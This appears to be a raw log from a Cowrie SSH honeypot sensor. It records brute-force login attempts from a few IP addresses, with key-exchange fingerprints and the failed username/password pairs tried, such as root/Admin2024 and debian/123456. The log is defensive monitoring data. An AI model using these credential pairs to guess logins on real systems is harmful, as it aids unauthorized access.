{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:15.492631Z","src_ip":"27.71.230.31","session":"53ed468cce1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55928,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56e1de29e89","protocol":"ssh","message":"New connection: 91.92.40.171:55928 (159.203.135.109:22) [session: f56e1de29e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:17.004982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:17.125724Z","src_ip":"91.92.40.171","session":"f56e1de29e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:17.129547Z","src_ip":"91.92.40.171","session":"f56e1de29e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:17.759237Z","src_ip":"91.92.40.171","session":"f56e1de29e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45626,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bed7b8182af","protocol":"ssh","message":"New connection: 91.92.42.133:45626 (159.203.135.109:22) [session: 7bed7b8182af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:17.969378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:18.326197Z","src_ip":"91.92.42.133","session":"7bed7b8182af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:18.329996Z","src_ip":"91.92.42.133","session":"7bed7b8182af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:19.074476Z","src_ip":"91.92.40.171","session":"f56e1de29e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024","message":"login attempt [root/Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:20.368956Z","src_ip":"27.71.230.31","session":"53ed468cce1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:20.737382Z","src_ip":"91.92.42.133","session":"7bed7b8182af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:22.261101Z","src_ip":"91.92.42.133","session":"7bed7b8182af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55942,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83b82ec76cc","protocol":"ssh","message":"New connection: 91.92.40.171:55942 (159.203.135.109:22) [session: c83b82ec76cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:23.475140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:23.497049Z","src_ip":"91.92.40.171","session":"c83b82ec76cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:23.903299Z","src_ip":"91.92.40.171","session":"c83b82ec76cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:24.546272Z","src_ip":"27.71.230.31","session":"53ed468cce1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44582,"dst_ip":"159.203.135.109","dst_port":22,"session":"e701733ec911","protocol":"ssh","message":"New connection: 91.92.42.133:44582 (159.203.135.109:22) [session: e701733ec911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:25.619052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:25.940953Z","src_ip":"91.92.42.133","session":"e701733ec911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:25.943403Z","src_ip":"91.92.42.133","session":"e701733ec911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:26.430013Z","src_ip":"91.92.40.171","session":"c83b82ec76cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:27.999942Z","src_ip":"91.92.42.133","session":"e701733ec911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:28.004846Z","src_ip":"91.92.40.171","session":"c83b82ec76cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34846,"dst_ip":"159.203.135.109","dst_port":22,"session":"26784c3de519","protocol":"ssh","message":"New connection: 91.92.40.171:34846 (159.203.135.109:22) [session: 26784c3de519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:28.510010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:28.660328Z","src_ip":"91.92.40.171","session":"26784c3de519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:28.665675Z","src_ip":"91.92.40.171","session":"26784c3de519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:29.390588Z","src_ip":"91.92.40.171","session":"26784c3de519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:29.500555Z","src_ip":"91.92.42.133","session":"e701733ec911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:30.577983Z","src_ip":"91.92.40.171","session":"26784c3de519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44660,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f3c4d093271","protocol":"ssh","message":"New connection: 91.92.42.133:44660 (159.203.135.109:22) [session: 9f3c4d093271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:33.335318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:33.583343Z","src_ip":"91.92.42.133","session":"9f3c4d093271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:33.588354Z","src_ip":"91.92.42.133","session":"9f3c4d093271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"password","message":"login attempt [fivem/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:34.898334Z","src_ip":"91.92.42.133","session":"9f3c4d093271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34892,"dst_ip":"159.203.135.109","dst_port":22,"session":"f881b46b66b2","protocol":"ssh","message":"New connection: 91.92.40.171:34892 (159.203.135.109:22) [session: f881b46b66b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:36.157703Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:36.268770Z","src_ip":"91.92.42.133","session":"9f3c4d093271","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:36.302656Z","src_ip":"91.92.40.171","session":"f881b46b66b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:37.023263Z","src_ip":"91.92.40.171","session":"f881b46b66b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:39.902295Z","src_ip":"91.92.40.171","session":"f881b46b66b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52378,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5263fb7f8d7","protocol":"ssh","message":"New connection: 91.92.40.171:52378 (159.203.135.109:22) [session: d5263fb7f8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:39.940211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:40.062586Z","src_ip":"91.92.40.171","session":"d5263fb7f8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:40.066631Z","src_ip":"91.92.40.171","session":"d5263fb7f8d7","protocol":"ssh"}
